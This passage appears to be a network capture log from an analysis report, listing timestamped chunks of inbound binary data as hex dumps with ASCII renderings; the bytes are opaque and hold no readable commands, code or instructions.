2023-02-22 08:42:08 UTC	353	IN	Data Raw: 0c c2 f7 1b a8 5d a7 45 d5 8b ef 8c 68 f6 62 c0 40 01 11 3b 08 02 7e 91 1a 3f 77 ba b3 79 8b 3a 2d 9b 26 a3 98 62 c6 d8 d6 f7 0c f7 af 40 fd 90 1f 57 2f 15 a3 ba 69 19 cb cd c4 a8 13 90 be b7 ee 4d c4 94 64 d0 1f d4 cb 9c 5b 12 b4 b6 5d 62 58 96 25 4b 95 7b 11 7f eb c5 12 97 83 cc 8a 94 e7 c0 9c 36 ce 0c 1a ce ae ca 25 f8 eb 59 51 f8 6b 38 df 3b e6 62 f3 fb 28 e7 64 24 d9 b3 ba 8c e3 25 77 90 2f f9 c5 8f 81 bb 79 af bb 95 f5 c6 87 e8 2b 30 c8 68 a1 03 b8 c4 1d e7 8d e0 63 a5 6b ab d9 28 00 94 0e 01 a1 4e 73 72 65 7e c4 31 5a 1a cf f2 6b a9 39 ce 0b 2c 69 58 7b 9f a3 99 e3 a8 58 d6 97 b7 fa 3f 78 d5 cf 8a 2d 57 dc 19 eb ba 80 2b 8d 7e e8 b6 1c a1 ae ef 7b f2 ca a0 bc f9 07 63 6c 54 b9 ed a7 c6 d7 bc ef 5c ba 5d 4e db a2 ab e8 2f db c6 c0 c5 4f d0 19 5a cd Data Ascii: ]Ehb@;~?wy:-&b@W/iMd[]bX%K{6%YQk8;b(d$%w/y+0hck(Nsre~1Zk9,iX{X?x-W+~{clT\]N/OZ
2023-02-22 08:42:08 UTC	369	IN	Data Raw: c7 12 a5 3f 90 84 d2 a3 b8 bf cf 22 69 52 8e a0 a8 6f 21 31 70 15 66 ce 2b 99 78 3f 12 f9 0c 21 d6 35 c5 61 a8 f1 99 d5 db 77 70 67 ef 46 b6 96 1a f3 bb 23 17 97 a9 b1 9c 38 bb 1c b7 c1 7a c4 cd ca e1 b9 fe 2d 34 bf f8 71 b8 7f 26 b9 ce 37 fe ff b5 63 69 57 d6 b2 d0 f0 27 41 95 07 51 48 39 f3 df 2e c1 0d 53 7f d3 57 f0 10 09 2d ef 18 35 e3 34 9f ae 09 f3 42 ce 16 cf 7e 57 19 94 b4 1d 57 6d 47 d2 4b 17 f1 45 cb 8d c9 0f 43 a9 eb b9 8a a9 c4 06 f2 66 2c e6 ca b9 6f cc 8a f9 c3 7e eb ed 9c ca aa 62 80 e3 3e 56 cb 8d e2 dd 63 79 a4 e5 a2 b8 b1 e2 0e a3 32 42 70 af 7a cf 96 8b 29 3c ac 13 94 88 a5 23 99 af c2 90 e8 3a 40 d1 87 ab 2c de b5 8f f0 93 16 cc 3e 9b 89 d8 70 35 e4 62 f7 09 88 67 3d df a3 5e 30 31 7b 03 f6 cf 04 07 ff 8f 2b aa 6b ae e3 26 7c 05 df f9 Data Ascii: ?"iRo!1pf+x?!5awpgF#8z-4q&7ciW'AQH9.SW-54B~WWmGKECf,o~b>Vcy2Bpz)<#:@,>p5bg=^01{+k&\|
2023-02-22 08:42:08 UTC	385	IN	Data Raw: 98 e9 4b 5a d2 7c 82 72 a4 58 72 5e 83 9a b3 13 b9 f8 62 19 57 0e 2c 63 eb c8 22 a4 5f 85 21 da 35 8f d3 22 e9 9c 6a 79 ca ce 3c 45 c1 2c 18 f1 77 db 48 12 5c 72 70 b9 67 4a 63 e4 17 64 86 4c 60 c4 db 42 6e 2d 4f 66 de b1 df 18 af be cd f8 05 75 3c cf 55 26 4a cb 8e 68 81 cd cd e8 94 20 6c d0 57 ca 46 08 93 e4 bc 91 8c 95 d9 7c 73 7a cd 4c 01 80 bd b8 b6 97 a4 e8 bb 2c b3 bd c0 99 0f e9 9c 99 6b c2 08 f3 4d d8 de 9c cc d8 d5 5b e8 23 30 b9 8b 66 83 d9 e6 53 41 b0 fd 18 32 8e 4d a2 ec 5b 22 3f fe e8 e0 19 d0 41 9e e1 25 c6 d6 8c e0 fc f2 76 aa 2a af f0 64 63 19 0b 2f 9a 10 98 e8 cd 9e ad fb e9 b5 9c cb 69 b7 65 88 cb cc 66 47 d3 65 76 28 37 61 7e a1 2f 65 39 dd 2c 8b f3 40 e7 b1 14 b2 31 81 d8 4f 78 87 57 4f 2d c3 9f 75 30 7a ee 57 ba fe 7c 62 dc d7 46 5e Data Ascii: KZ\|rXr^bW,c"_!5"jy<E,wH\rpgJcdL`Bn-Ofu<U&Jh lWF\|szL,kM[#0fSA2M["?A%v*dc/iefGev(7a~/e9,@1OxWO-u0zW\|bF^
2023-02-22 08:42:08 UTC	401	IN	Data Raw: c8 72 68 7d 1b 7d 45 0f 73 fe 69 33 05 6e 71 94 4d 77 a7 a0 eb 08 d3 6e 8a 10 f1 7a 10 eb 82 76 f2 f0 c2 41 f2 2e bc 14 94 84 32 fb 13 1c 29 bd 74 9f 83 46 22 48 0d 0e 41 a5 3a 98 2f 37 82 90 97 b1 66 e8 3e 77 06 f7 1f c0 84 8f 82 21 b9 1e ca f6 69 e5 34 b4 ca f1 e2 63 0b ff 72 26 f0 65 8c 34 95 ef 7d 58 77 5c 11 e7 a7 8d a4 05 89 e2 be f6 07 79 6d ae 2c da 69 81 fc c1 a1 a8 e7 24 93 77 74 00 d7 97 ee 64 ab 61 18 0e 81 f9 48 35 56 a2 7d 59 8b d4 b3 e7 18 16 f1 8e a6 04 73 8e ec 3f 47 6c b0 00 04 8a 87 0a c0 ac 11 fd b2 19 fc b2 d8 c4 f6 01 ad dc 0a 77 e4 ce 10 45 82 ee 1b 62 f1 7c 04 75 81 89 0c cb 48 67 e0 df 5d ac 4d 75 21 b8 3c 85 d1 cb 6a d8 f7 5d 97 7a 3f 33 5e 5b a5 09 4a a7 86 d6 e7 a6 b4 ee 89 67 c9 fc bf 44 ab c8 f2 2f c3 96 e0 47 59 84 c7 d6 12 Data Ascii: rh}}Esi3nqMwnzvA.2)tF"HA:/7f>w!i4cr&e4}Xw\ym,i$wtdaH5V}Ys?GlwEb\|uHg]Mu!<j]z?3^[JgD/GY
2023-02-22 08:42:08 UTC	417	IN	Data Raw: 19 55 6e ee ac 67 e3 96 89 6c 69 2b e3 ee e1 51 2c 2e f2 e6 88 95 1d 56 ee 57 19 15 e3 43 dd 93 1f 7c f1 72 e5 76 c0 69 ce f6 ee c5 7e c7 67 86 bd ad c6 6b ce 72 06 aa a6 13 7c db 1a 23 2d 23 b8 da 4c e4 e1 54 ee 65 fb 71 6d ce 3b 36 bc d9 87 64 eb 55 d6 38 66 b1 e7 c4 46 3e 34 e4 30 d7 d5 83 bc c1 d2 b4 1c 74 e3 ef 58 37 ce 5f 7f 45 cc a5 df f4 ff 56 cf a6 d1 55 4c 6a 17 14 9f a2 2b 1d 17 2e 21 73 7f 21 a1 23 44 29 9b fe 80 21 b2 6a 98 4d 15 80 d2 52 c1 71 e6 2c 25 60 c2 6d da 1a 24 f1 12 dd 82 76 9c 0c 1b 05 10 fe 33 c4 98 33 c7 9f e0 65 aa 44 7c 50 19 0e 2e e9 b8 4e 5f 83 c4 02 41 d1 6e b4 42 e9 1d f4 51 95 25 ff f0 4b c6 da 19 0a 72 b2 16 63 d9 8b 78 1e d3 e2 e5 eb 3b 4c bc 14 cb d3 8a 6a d6 d5 f8 31 bd a7 05 53 c9 fb cc a8 f2 fb ef 97 e0 b5 70 0b 46 Data Ascii: Ungli+Q,.VWC\|rvi~gkr\|#-#LTeqm;6dU8fF>40tX7_EVULj+.!s!#D)!jMRq,%`m$v33eD\|P.N_AnBQ%Krcx;Lj1SpF
2023-02-22 08:42:08 UTC	433	IN	Data Raw: db 4d 4c 96 85 33 2a 52 96 3d cf 63 69 d3 b8 ca b3 d2 5b 4c 52 87 23 eb 4d 29 cc 9b 47 a7 a7 0c aa 7f 42 b0 7b 05 1b ca e7 32 ec e0 3f de ad 8f 65 a5 46 3f 16 9c 3e c0 28 39 1d 56 e7 3a 22 73 6b 24 72 5f a2 51 e8 49 a7 f8 f8 4e f2 1b 37 70 66 ed 5c a2 16 0a 20 a0 49 98 53 7f 57 f2 56 29 84 c6 81 66 ac cc 1f 82 a8 a1 3d cf 6a 05 eb 16 ff 8f b5 5b 5d a9 3f 65 cf 84 c7 cb 19 32 e0 38 0d 57 4c d8 fb fb 10 eb dc a7 d3 a8 3f 8d ba 9f 41 dc bc 16 88 d9 02 7b fa 6d 4c 26 4d 37 02 8b 15 67 c8 7f 69 44 89 58 3c 8f a5 8b b1 9d f1 19 37 d1 f5 fc d1 9b 4e 92 c5 5f 02 6f a8 b2 4f fc 18 cd 2f a6 30 bb ee 29 86 ef 5d f8 6a 6c c8 12 ab 5c 02 d3 62 48 51 39 ce c4 86 3c f6 ad 2a e5 d8 44 5f ca 7f 29 f2 ae a0 1f 8d cf de 23 dd 27 1e a1 ad 49 88 17 0b 53 b4 f7 23 61 a3 2f b3 Data Ascii: ML3R=ci[LR#M)GB{2?eF?>(9V:"sk$r_QIN7pf\ ISWV)f=j[]?e28WL?A{mL&M7giDX<7N_oO/0)]jl\bHQ9<D_)#'IS#a/
2023-02-22 08:42:08 UTC	449	IN	Data Raw: d3 c1 d9 e4 3a b5 87 ad 30 49 bb cc da f9 bf 99 5c b7 93 03 db 05 01 fc d9 94 a1 49 85 2c da 13 86 c6 98 3d 1c bc b3 81 d5 9b 92 98 fc 2c 9e 49 63 a2 70 ba fd 82 cf 07 af 30 c3 e2 06 5d 1a 75 8c 74 d7 65 bb c6 03 86 fd 7e 40 b6 7e 16 39 22 6e 18 4c cd e1 ca bd 6d d4 8f ab 22 d2 b1 2f 0a 46 3d b4 1d 3a c6 d3 25 ba e8 65 06 30 e3 e4 75 22 7f bf e7 5c ec 26 d2 03 62 19 f3 7b 04 8a a3 66 f3 49 c4 95 ca d1 6f 39 d8 74 8b f6 aa 4a 36 18 26 53 34 de 1f 5f dd b7 8c 9a 38 8d 9f cf cf b1 55 fb 2c 31 3e 66 dc 5b a5 c0 e7 22 67 9e fb 5d e2 e9 c7 4a b4 62 85 50 30 58 8f 44 d8 24 7a 0e 85 f3 dd df 19 bd a7 45 88 ae c9 c5 f1 ed 23 a4 2d 5d a9 aa d4 25 a1 ee 10 4b f7 ec 25 e0 d1 1e 24 ad 56 60 3c a1 9e ef 11 c7 39 6e 90 c9 86 e5 8b 98 7f 38 0e e3 ba 7a 3a de 5d 40 ab de Data Ascii: :0I\I,=,Icp0]ute~@~9"nLm"/F=:%e0u"\&b{fIo9tJ6&S4_8U,1>f["g]JbP0XD$zE#-]%K%$V`<9n8z:]@
2023-02-22 08:42:08 UTC	465	IN	Data Raw: 06 31 f8 4f 02 db 47 77 72 6d d4 37 3e 0c 79 c2 fa f4 c1 64 0a 85 21 7e ff 35 e6 32 29 5c 5e 1c c1 e9 be 05 fc 51 7e c8 ad b4 77 d4 8c ba 88 db 92 34 46 85 14 e3 e6 bf 90 5e 85 3c 44 43 72 04 66 6b 8b ef 4e 75 e6 e9 9c a1 4c cf 92 ab 0b 4d 18 1d ff 88 aa cd de 7c 58 f0 85 de a5 fb 11 9e dc 8c ac b7 03 2b 83 16 a0 52 d8 cb c4 d4 47 88 6c 7d 80 c2 37 0d 1a 0d eb 38 74 2a 9b 6a 77 15 4a 25 1e 50 6e 30 83 e1 7c e6 6f 63 3d 2d ab d6 21 14 fe 8a 82 b3 76 f4 b4 a9 90 59 b1 88 d9 81 8f 51 dc ba 8e b9 7f 92 10 d9 73 84 ef cd 6a 8c de 56 c4 c3 d2 7e 84 59 78 d3 54 70 90 c1 41 63 11 9e 9a 4e 84 79 2e 8b 8b a2 e8 b1 7e cd db 85 db f9 24 b1 10 09 fb 14 12 0a df 71 77 f7 72 06 17 a8 d3 d1 13 44 e5 ec 29 6c 98 19 43 f1 f2 4e 4e 8b 3f e3 aa e2 52 f0 c9 a2 68 69 23 1f b2 Data Ascii: 1OGwrm7>yd!~52)\^Q~w4F^<DCrfkNuLM\|X+RGl}78t*jwJ%Pn0\|oc=-!vYQsjV~YxTpAcNy.~$qwrD)lCNN?Rhi#
2023-02-22 08:42:08 UTC	481	IN	Data Raw: c8 8c 3a cc e2 6f df 78 b3 b5 89 52 5b 77 16 a4 3e 61 fb 69 c1 9a b8 5f a2 6f 96 06 c6 8d e5 3c 88 18 8f 8d 22 f4 14 fc 44 2d e5 22 e7 8c 4e a1 7a eb 1d 22 0f 97 b3 77 cd 1f ac bb 95 b9 71 cd 90 9d df 03 28 5e 76 56 b0 ce c6 ec ee f3 95 8e 71 c3 91 79 b5 86 fd 0e d7 99 ba 7c 21 2f 1f 57 50 e0 bf 99 19 77 4e 22 71 a6 0c 9d 74 c8 1b 5f 84 ad ec 6a 4e 96 38 23 56 a2 c4 c6 ca d7 6c 79 11 c9 a9 e9 c6 64 9d b8 c0 9f da 2b 8c ea fc cc c8 00 6b 9e 1d f4 65 a0 87 10 66 5a 72 58 f6 74 53 5e 65 86 53 78 23 3e ae 9d 18 9e ea 87 e2 fa 1e 5e 66 cf a2 ce 60 34 06 61 d2 78 36 8e e7 ec fd 61 98 b8 4e e4 cb f7 18 f4 74 f2 a9 ad 5a 44 e5 84 6f fc 9c 5a 83 d0 f5 1a ae 49 b9 d1 f2 78 33 16 b6 a9 88 1a ad 22 bd eb 2c 12 f1 9e 04 64 9f 20 de 76 22 6f 2b 76 93 3e 6b 05 8b 96 ae Data Ascii: :oxR[w>ai_o<"D-"Nz"wq(^vVqy\|!/WPwN"qt_jN8#Vlyd+kefZrXtS^eSx#>^f`4ax6aNtZDoZIx3",d v"o+v>k
2023-02-22 08:42:08 UTC	497	IN	Data Raw: 70 75 ea 4b 4e 7f 4f a3 cf e3 0f 3c ea be ca b8 cb 13 d8 1f bc 8e ec 0c 3b b4 cd b2 31 be b7 84 b7 d1 06 5c 72 bb 87 79 f3 68 5e 57 94 08 1a fe 1a c6 4b 24 c9 73 fa 40 7e 49 2a 5f 96 47 71 f6 94 28 cb 7b 7b f9 ca 37 14 1d db 68 b2 d2 46 df 4a 16 83 d4 be f8 aa b5 30 4e 21 02 c9 db 26 a4 47 77 f1 6d 98 32 1e ed 93 28 bf f0 8b be b9 31 14 46 ef 62 a9 c6 2d a2 f4 5c b9 bf c0 8d 86 bd a1 5c 3a 7d 97 3c ef 2d 38 99 09 53 a2 58 40 51 40 5f 34 a7 9c 42 42 bd 83 e8 03 db d8 74 77 1e 93 05 56 ea e7 6c 4c 49 ef 6d dc 2c 7c d9 a2 fa bf df cb 7f c3 4f e1 0c fa b7 4c 58 3f bc 84 13 ed 4e c8 c6 a6 60 79 cc 8b 8c 5b 6f 18 fc 4d 1f 15 f7 18 ec a6 ba 70 ba dc 96 fb 37 07 b1 20 e8 31 4b b7 3d 27 72 72 5f 12 be 35 52 64 1d c8 36 c7 9d b8 bc 54 e2 62 f1 79 c2 0f 0c e6 c6 b6 Data Ascii: puKNO<;1\ryh^WK$s@~I*_Gq({{7hFJ0N!&Gwm2(1Fb-\\:}<-8SX@Q@_4BBtwVlLIm,\|OLX?N`y[oMp7 1K='rr_5Rd6Tby
2023-02-22 08:42:08 UTC	513	IN	Data Raw: d5 f7 33 1c 72 d6 e3 10 be 1c 13 37 42 76 78 07 0e 0b 96 0a c2 53 16 b9 13 fd 69 fb 6e c1 13 9d 91 ec bc 66 48 ff 38 7d b2 05 d0 9a 34 b1 09 37 f9 cf ac 0d d6 27 df f3 23 da bb 83 d0 7e 68 c1 86 8b 9b 58 f2 2a 82 e3 cf ae f1 dd 43 96 bd 83 f6 51 2c 62 c1 85 90 66 b6 35 e5 b1 6d 86 21 67 1d ae 10 e3 eb 47 7d d6 67 7a 0a aa 78 f8 c4 84 70 ad 15 5c 30 3f 8a fd f1 a7 1c 5c 7c 1a b7 a9 89 78 17 3d 64 c1 a1 59 44 09 ce 7f c8 b6 e5 6c 5a 14 41 ba d6 22 f6 8e 7b c6 ea 39 2f 88 29 97 c5 4c 73 1b 23 6a ff d1 df ac 82 e1 92 b5 f4 7d 5b 82 81 67 06 ad 02 70 cc ec 18 4d f7 a8 6f 04 f4 e6 a1 e4 f8 17 d7 03 1e 14 af 2d 23 e6 f8 5c 26 db 58 11 d6 62 cd bf 75 fe 68 f6 9f c4 94 25 a7 b0 dd 5b c2 f7 f5 17 58 3e 6c 06 07 1f 1f 67 ca ec 87 0c 37 f9 46 fc 1e 59 72 5d fc 99 f3 Data Ascii: 3r7BvxSinfH8}47'#~hX*CQ,bf5m!gG}gzxp\0?\\|x=dYDlZA"{9/)Ls#j}[gpMo-#\&Xbuh%[X>lg7FYr]
2023-02-22 08:42:08 UTC	529	IN	Data Raw: 9e 8c fb ed 2a 9a da 1d 50 59 18 ca 74 d5 3c e6 ad d9 cb c3 58 2f bc 84 b7 09 ee c7 3e 6c 3c ca 58 b0 7b 11 cf cd ea 05 d0 e4 cf 91 8e 40 b4 8e af 63 be 9d 23 75 4f e3 f9 69 38 81 5f 6d ce ec af 9c c5 52 fb 40 2c 37 8e 47 c5 ed 21 87 82 f2 a9 89 4f c1 5b 3d 8c 1b 66 03 98 f1 6a 2a 63 af f5 90 ab 9b c6 f1 d0 79 34 69 7a e2 ed 10 82 55 3f 6b 2e df 57 e3 dd 89 c5 58 56 6f a1 e1 5e 19 79 8b fd 79 37 fb 20 2b 1f 8e 64 a0 47 17 8b 86 0d e0 c9 1b 43 be 57 bc a3 f5 84 38 09 2b e3 79 24 b7 0e a1 83 a2 94 99 0d a6 6c e2 2f 02 02 36 72 de c3 8f 33 e7 4f b3 69 a4 2f 5a b3 ab 11 eb e7 c6 53 a5 2f 6c 50 33 60 a1 e2 40 b2 15 6e 21 76 53 92 5b 32 97 e9 27 92 ce de 34 5d de 7e 1e 42 3f b5 32 86 78 27 e1 96 97 87 c4 9a 34 2a 9d 3c 38 be fe 0d a7 56 94 f1 6c d6 2a fe 1d bd Data Ascii: PYt<X/>l<X{@c#uOi8_mR@,7G!O[=fjcy4izU?k.WXVo^yy7 +dGCW8+y$l/6r3Oi/ZS/lP3`@n!vS[2'4]~B?2x'4<8Vl
2023-02-22 08:42:08 UTC	545	IN	Data Raw: ba 7b 8b 78 d3 dc f4 df 2f c1 fe d6 5f 31 e9 eb cb 26 fb 95 54 87 7c e4 ea c3 47 bc 95 8d 26 b8 c5 05 b9 f0 78 7c 3c 8e b0 22 d4 96 cf b7 35 d1 3b 67 cd e5 a6 2f 2c 1e 91 49 18 9d 6c 7f fe 83 e5 12 56 3c 5d a2 c2 e4 f0 45 dc 4e 93 60 e3 b4 d5 1c 8a f8 ce c9 c3 7d a8 0c d9 ca 6b f5 0a d4 96 67 33 4a 5d 40 5b 6a 23 79 e6 de 8f 4d a5 01 7c f0 ea cb 5f 09 45 66 9d dd 49 66 9c 27 23 7b af 72 4d 60 33 c1 7e cd 2c 9d 2c 4e 76 d1 31 a6 89 fc 63 98 fa 00 7c b7 d8 22 af b1 0c 99 59 51 14 5d bb 45 95 7c 13 2f 6c eb b1 98 a1 c8 85 c4 0c 8a 56 26 53 b3 50 f0 fb 1e 29 b6 8d 4b 25 31 d1 86 02 47 0f 16 64 5f 22 23 6c 0a 31 53 47 70 63 e9 2e 5c 53 37 b2 77 a3 1e cf 76 8e e7 42 e4 01 ee 3f b8 cb f1 cf 1b 78 f4 50 8f 2d 9f 6b 70 ad 50 c5 7b ff 57 0e 0f 2e 61 cb fb 9b e8 88 Data Ascii: {x/_1&T\|G&x\|<"5;g/,IlV<]EN`}kg3J]@[j#yM\|_EfIf'#{rM`3~,,Nv1c\|"YQ]E\|/lV&SP)K%1Gd_"#l1SGpc.\S7wvB?xP-kpP{W.a
2023-02-22 08:42:08 UTC	561	IN	Data Raw: 1b af 28 6b f6 b8 79 11 2f 96 ca a5 67 f3 04 c1 dc 17 4f 91 2c 8c 32 56 50 1e ac ca d8 ec e3 24 dd 3a 40 9f 65 ba e4 56 da 0b 6c 77 14 7f fb a9 f0 49 2f 1a 29 53 7f e6 3e b9 c8 c2 c5 d2 c4 39 ea 72 70 a8 3d 39 62 4e 4c de a5 cc 8c c5 e6 94 ec 85 0d c3 26 51 b9 ed 38 03 a3 73 39 61 f2 9e b2 bd 0d dc 3a 5c 4b 46 93 03 ae a3 eb b9 37 5c 89 e5 2b 55 b1 b9 57 41 57 75 19 d3 05 80 e6 59 a3 8e ca 8f 70 6c cc 96 b1 c2 c7 00 bd 09 7f 38 f4 4e 8a 55 eb cf 90 f8 73 02 d7 f4 bb 51 08 19 44 9c a9 08 03 bb cf e3 65 b2 82 0d 7f 26 a3 fd a0 80 b4 75 41 8c 5f f4 86 4d 8b d2 d9 1f eb 4f c1 1b 23 2c 5e ed 63 44 69 17 fd 84 67 52 b8 43 1d cd d4 06 fa 6e 5d c7 f9 b6 17 5c b3 71 62 d2 ee 21 24 6c 8c 20 2e 71 33 15 bd f7 30 b8 e2 c5 b0 5a 49 66 9b 36 c3 9e fe 24 59 cf e5 5a fb Data Ascii: (ky/gO,2VP$:@eVlwI/)S>9rp=9bNL&Q8s9a:\KF7\+UWAWuYpl8NUsQDe&uA_MO#,^cDigRCn]\qb!$l .q30ZIf6$YZ
2023-02-22 08:42:08 UTC	577	IN	Data Raw: 4e 53 9b ae a1 b9 34 38 4b 51 17 3f 9b f1 fb f6 f0 db 58 93 83 f1 b7 88 0f 3f 84 88 dd 74 5a 47 3f 64 55 d6 5a 7a 62 da f0 11 dc 83 8e 01 c3 d8 b3 5a 89 2f 1f ce 90 25 71 8c 4a cb 52 6e 55 ec e1 dc 2d 1b d6 cd 3c c3 e2 75 33 49 b4 d1 25 d9 d3 94 e3 91 8e a8 6e 50 a4 5c 63 1e 8e 3d 87 f1 7f 1b c8 e1 fb 4f 69 5a 9a ca 98 26 37 7c 45 2f 10 f1 fa 19 2f 74 7d e8 f3 50 00 41 e3 06 63 70 f1 36 0e 31 06 28 f4 91 e1 9f 6e 04 1d 6b 0f 71 69 4c 22 23 1d c4 b0 8c 1e 4e ab c0 5c 5f 56 de 63 d8 79 3f 6e 4e 7b c6 12 f7 58 9e 7f 7c 84 ac 9b 14 fa 26 79 54 5b af 24 ab 29 9b db fd 54 31 9f 93 25 08 f7 c9 64 27 bd c1 38 51 8c 65 6d 65 24 8e 78 c1 ea 31 41 74 aa 5d e3 5b 83 39 0b 1e b4 e1 2e d9 85 59 ba 29 6b 52 b7 10 97 5c 82 eb de 46 26 f6 44 92 72 58 9c e7 b1 4e 6c f0 92 Data Ascii: NS48KQ?X?tZG?dUZzbZ/%qJRnU-<u3I%nP\c=OiZ&7\|E//t}PAcp61(nkqiL"#N\_Vcy?nN{X\|&yT[$)T1%d'8Qeme$x1At][9.Y)kR\F&DrXNl
2023-02-22 08:42:08 UTC	593	IN	Data Raw: 22 44 5e ce 54 de 9d e8 4b 5e 42 2a 4b 4b b6 32 79 dd 73 92 ee 99 d1 d4 fa 8c e4 cd 42 d8 5c f5 a7 a2 d9 fb bf 5f 82 8a 0d ba dc 8f f3 c2 c7 5f 91 e4 17 36 44 4c 28 a3 b9 b4 17 1d 89 64 bc 42 db e8 1c b8 97 92 84 93 68 b5 04 71 43 e9 35 aa c5 cf 78 bf 5c 95 3b 7e 7d c8 4e ce a2 e4 bc 37 b9 9f fd 71 6a 51 22 23 ef 31 37 f5 8e 30 cb 6f 21 9d ea fb b0 58 f6 85 1b c2 6d c8 8f 4d 65 90 e5 6b b6 2f fd cc fd 9c 08 32 b6 ba 71 60 cb 34 2e c9 de 66 d1 df 24 12 46 4c e7 e3 dc b1 0c ed ff 81 88 dd 7f 30 39 b1 94 1c d5 56 36 ad 68 e1 ce e5 e3 78 9c ec c6 fc ef 0c 3e f7 8d 61 eb 90 0d 64 8d ed 47 fd b6 08 9e 8c f2 e6 eb 49 19 76 89 8a b1 4e 76 1a 1f 05 a4 17 1c 77 98 31 cb cc c8 ed 18 c3 b8 43 af 49 be f7 89 9e 1f e9 70 52 05 71 ed 03 44 9a 05 f0 e7 cf 70 74 46 9c 65 Data Ascii: "D^TK^B*KK2ysB\__6DL(dBhqC5x\;~}N7qjQ"#170o!XmMek/2q`4.f$FL09V6hx>adGIvNvw1CIpRqDptFe
2023-02-22 08:42:08 UTC	609	IN	Data Raw: f1 74 24 de 7f 33 2f 12 fb 53 bf 65 39 25 f5 1f 28 9e a4 81 d5 f4 20 d2 a5 1c 39 7b a7 96 c8 f2 0b 4c da 21 89 e6 ae 1a ea 0d 26 71 7f 5c 01 86 c5 87 51 75 18 89 cf c2 f9 0c 5a fd 8c 70 55 7b 42 e3 dd c8 fa fb 94 a0 3a 45 26 3e fe df 8f cf b8 71 35 37 88 19 6a ff 10 39 61 46 d7 6f 59 c4 a7 fa 52 77 ef 3d 2b 57 1d 42 27 b2 99 f7 16 5b 98 78 aa 98 3e b1 77 18 db ee 45 59 9c 29 77 56 0a 33 e4 94 3c 4f 0c ad 91 b5 1c cb 18 dd 9d e8 45 ac 62 c7 a8 d3 d4 9e f8 cb d1 ca 52 1a 36 35 f0 ef 85 15 73 f6 1d a4 33 b5 98 6d 2e fb c9 0c 1f 82 4a c5 06 22 4c cf 13 bd f9 2e 9d cd ef c9 f0 5b c0 9a 43 4f e8 33 70 06 cf 13 04 3e fb 53 00 14 33 27 d1 2c e4 83 8e bb 10 d3 53 e6 13 75 4f 9d 84 b1 7d 88 91 98 43 fa 9c bf ac 8f 3c 44 46 51 12 09 f3 84 99 7e 7e 09 6e 7a 07 89 73 Data Ascii: t$3/Se9%( 9{L!&q\QuZpU{B:E&>q57j9aFoYRw=+WB'[x>wEY)wV3<OEbR65s3m.J"L.[CO3p>S3',SuO}C<DFQ~~nzs
2023-02-22 08:42:08 UTC	625	IN	Data Raw: 1e 2e 04 38 b1 4a 7f 39 22 97 9e f1 39 b4 80 ad b7 ca 71 3c a8 c3 de 90 6f d8 4f 18 c1 f9 34 05 3c 7d 45 18 7c 5e 1a 39 c7 5d 9c ee 6b c4 a1 43 57 70 b2 5d c3 e5 ee 3a 06 57 bb 91 74 da 8e 93 69 ea 0c bf 12 cc ce 21 77 38 1e aa ca 45 d1 2f dc bc b7 05 b5 cb 13 59 76 db 9b 5f 55 df 68 b9 72 87 3e f6 72 5c 7b fe 99 69 46 bd 78 a7 9b 21 36 a9 1f c7 45 be e3 ed 94 8b b7 df 44 12 c6 cd 21 f3 07 dc 7d bf 8c 09 ff 8f ba f3 fe cb f1 ff ff b7 48 4b 9a b6 94 a4 44 89 ca 6a 29 a9 ac 68 19 65 47 0a 0d 4a 49 89 28 29 25 49 b2 57 56 a4 42 53 a2 32 2a a9 24 22 34 50 69 d0 22 a2 8c e3 7b bd 3f 7f c5 eb fb 83 df b8 ae f3 3c 9f 8f c7 fd 7e 1c dd dc ce 1c 55 28 0f bd cd 50 bf e1 2c db 9a 80 a1 6f 27 7b 8e c7 f0 f9 9c 04 7b 73 c2 51 13 7d cd bc 92 37 f4 4c 5c c7 80 46 31 0a Data Ascii: .8J9"9q<oO4<}E\|^9]kCWp]:Wti!w8E/Yv_Uhr>r\{iFx!6ED!}HKDj)heGJI()%IWVBS2*$"4Pi"{?<~U(P,o'{{sQ}7L\F1
2023-02-22 08:42:08 UTC	641	IN	Data Raw: 65 6b 60 31 75 79 a2 9c 3a 5f c1 ac 95 bb 09 65 04 fe b9 3f 98 b0 25 8e fb 77 46 09 6c 73 0e 2a f5 d3 78 b7 aa 87 5d ee 1b a9 c8 bf c8 32 29 1b 16 4c 2d 24 48 da 08 83 92 2a 1c a3 bb 19 34 7e 1b f5 d9 9f 68 ef 9e ce 95 92 21 2c dd b1 01 5f 05 51 de 49 ed a6 4f ae 00 90 dc c6 d2 ef c9 0b 24 37 f7 45 b8 f6 1e 8f 87 86 20 f5 c9 8f 61 63 f6 f2 e3 c7 66 6c 65 97 e2 1c 7a 9b cb c7 32 58 bd 68 10 19 2d 0a 88 7d 2f fa ef 97 a0 d5 05 75 0c b3 ad e8 ab 92 cb cf bd 0f b9 3b 77 3c 27 3b 0a 19 3d 6a 36 cf bc 04 0b 36 d8 94 b8 8c eb 3c 5e d5 86 59 80 20 f4 c6 7b e3 ae 35 81 63 b1 8b 48 16 d8 8a 6a ea 71 5e 37 75 70 e3 9e 32 37 2e 17 b1 dd ba 17 e1 99 23 51 8d 31 04 81 f6 ef bb b2 16 fd e7 c5 bc 71 d7 22 a0 b8 86 e7 b2 41 84 9e 1c c5 50 99 db 44 77 f6 25 c8 5f 30 a4 a9 Data Ascii: ek`1uy:_e?%wFlsx]2)L-$H4~h!,_QIO$7E acflez2Xh-}/u;w<';=j66<^Y {5cHjq^7up27.#Q1q"APDw%_0
2023-02-22 08:42:08 UTC	657	IN	Data Raw: fd 58 46 67 2d 20 ec 82 0a 13 ea c7 b3 31 29 9e a6 9f d7 c8 3a a8 ce ab 19 23 a9 6a 76 a4 72 db 30 44 d7 38 70 6d cf 54 1a ad 97 92 2d e1 8d f0 85 32 1c 37 ae e2 79 02 74 07 ec a6 8f e2 03 f6 1e a9 15 ec cf 71 5c 57 6b 65 c5 d8 8f b4 88 65 e3 e7 33 86 89 0b 7c e8 2f 23 30 92 3b 07 58 12 74 97 7c df 8f 8c 48 dc cb b2 d5 ae 54 3c ce a2 46 f9 7f 8f f5 1b 44 c6 e1 5f f4 8f d2 61 51 85 31 77 27 bd 24 a0 bf 0d 8a 01 c2 04 2c 52 40 fd e7 67 ac 35 a2 f1 fb db 97 e0 98 06 fa 6d bc 87 ed b3 33 e8 d8 ec e4 e4 e5 f7 4c bc b3 81 ed a3 45 a8 9f f7 8c cd e1 a7 50 ac b4 c6 50 7c 3f f3 1d ba 58 ff af 0d 0b d9 97 0c 1b e1 05 af ce 63 f9 c4 98 83 0b bc 98 51 3d 8e 92 96 18 ee 3c dc 81 68 95 a0 94 fa 1e 43 77 7f 5f a6 c5 d6 33 68 e0 6d 86 ca 0d a2 8f fb 19 c6 89 7b 73 e3 e0 Data Ascii: 